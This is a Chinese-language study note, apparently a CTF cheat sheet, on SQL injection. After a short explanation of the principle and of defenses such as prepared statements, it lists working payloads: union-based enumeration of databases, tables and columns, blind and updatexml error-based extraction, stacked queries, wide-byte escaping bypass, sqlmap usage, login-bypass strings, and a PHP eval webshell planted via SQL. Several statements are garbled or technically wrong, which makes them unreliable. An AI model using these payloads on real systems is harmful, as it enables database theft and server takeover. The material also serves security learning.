SQL
原理:当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。。把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则)SQL注入的两个关键点:
1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;。
防御:函数过滤转义\n\n在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义
正则匹配
.叫预编译:使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构
利用SQL注入上传Webshell是黑客常用的一种攻击方式,具体步骤如下:
- 找到SQL注入漏洞:首先需要找到一个存在SQL注入漏洞的目标网站,可以通过渗透测试、漏洞扫描等方式来寻找。
- 利用注入漏洞获取数据库权限:通过构造特定的注入语句,获取目标网站的数据库权限。例如,可以构造一个简单的注入语句来获取管理员账户和密码:
sqlCopy code
SELECT * FROM users WHERE username=‘admin’ AND password=‘123456’ or ‘1’=‘1’; - 利用注入漏洞上传Webshell:一旦成功利用注入漏洞获取数据库权限,可以利用SQL语句将Webshell上传到目标网站。例如,可以构造以下SQL语句来将Webshell上传到网站:
phpCopy code
INSERT INTOwebshell
(id
,name
,content
) VALUES (NULL, ‘hack.php’, ‘<?php eval($_POST[cmd]); ?>’); - 访问Webshell:上传成功后,黑客可以通过访问Webshell来执行任意命令,包括文件操作、命令执行等操作,获取系统权限和数据等。
为了防止SQL注入上传Webshell,可以采取以下措施: - 避免使用动态SQL语句:使用参数化查询或存储过程等方式,避免使用动态SQL语句。
- 过滤和验证用户输入:对用户输入的数据进行过滤和验证,避免注入攻击。
- 对数据库进行加固:对数据库进行安全加固,包括使用最小特权原则、定期备份和更新、限制访问权限等。
- 对Web应用程序进行加固:对Web应用程序进行安全加固,包括修补漏洞、限制访问权限等。
sqlmap:
sqlmap.py -u “URL” [-options] options可以是dbs(库名),tables(表名),columns(字段名),dump(枚举数据#手铐警告),
万能密码:
’ or 1=‘1 admin’#
寻找注入点:
1,报错注入:’ "
2,无报错注入
数字型和字符型注入
1,步骤:
• 1. 判断是否存在注⼊点。
• 2. 判断列数。#1’ order by 3%23
• 3. 判断回显位置。
4.获取数据
2,-1’ union select 1,2,3%23
广域查看:group_concat();limit1,1
#获取所有数据库名
• -1’ union select 1,2,SCHEMA_NAME from
information_schema.SCHEMATA%23
• # 获取库中所有表的名字
• -1’ union select 1,2,TABLE_NAME from information_schema.TABLES where
table_schema= ‘[table_schema]’%23
• # 获取表中所有字段(列)的名字
• -1’ union select 1,2,COLUMN_NAME from information_schema.COLUMNS
where table_name= '[table_name]’%23
有一个新技巧,mysql在查询不存在的数据时,会自动构建虚拟数据
盲注
布尔盲注
参考https://blog.csdn.net/weixin_45254208/article/details/107505114
1、判断数据库长度#1 and length(database())>=4
2、猜解数据库名称#1 and ascii(substr(database(),1,1)>=120
3、得到数据库中表的数量
4、表名
5、字段名称
时间盲注
https://blog.csdn.net/weixin_45254208/article/details/107578439
报错注入
参考文献:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
https://blog.csdn.net/xixihahawuwu/article/details/112211987
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
0x7e:~的ascll码,right(str, num):字符串从右开始截取num个字符
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);
1 union select updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=“sqli”) ,0x7e),1);
1 union select updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name=“flag”) ,0x7e),1);
1 union select updatexml(1,concat(0x7e, (select group_concat(flag) from flag) ,0x7e),1);
1 union select updatexml(1,concat(0x7e, right((select group_concat(flag) from flag) ,31),0x7e),1);
堆叠注入
参考文献https://www.jianshu.com/p/36f0772f5ce8
原理:mysli_multi_query()执行多条查询的函数——防止注入改成mysqli_query()函数,
单引号和反勾号区别
全数字为表名的表操作时要加反引号;
linux下不区分,windows下区分
区别:
单引号( ’ )或双引号主要用于字符串的引用符号
eg:mysql> SELECT ‘hello’, “hello” ;
反勾号( )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键] eg:
mysql>SELECT * FROM table
WHERE from
= ‘abc’ ;
查看所有数据库:0’;show databases;%23
查看当前数据库的表: 1’;show tables;%23
查看某个表的某个字段: 0’;show columns from users;%23
把users表名改为user:rename tables users to user
把flag字段改为data:alert table words change flag data varchar(100);%23
宽字节注入
https://blog.csdn.net/weixin_42040292/article/details/90719507
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。如上图所示%df’被PHP转义,单引号被加上反斜杠\,变成了%d’,其中\的十六进制是%5C,那么现在%d’=%d%5C%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK编码时,会认为%df%5C是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就可以注入了。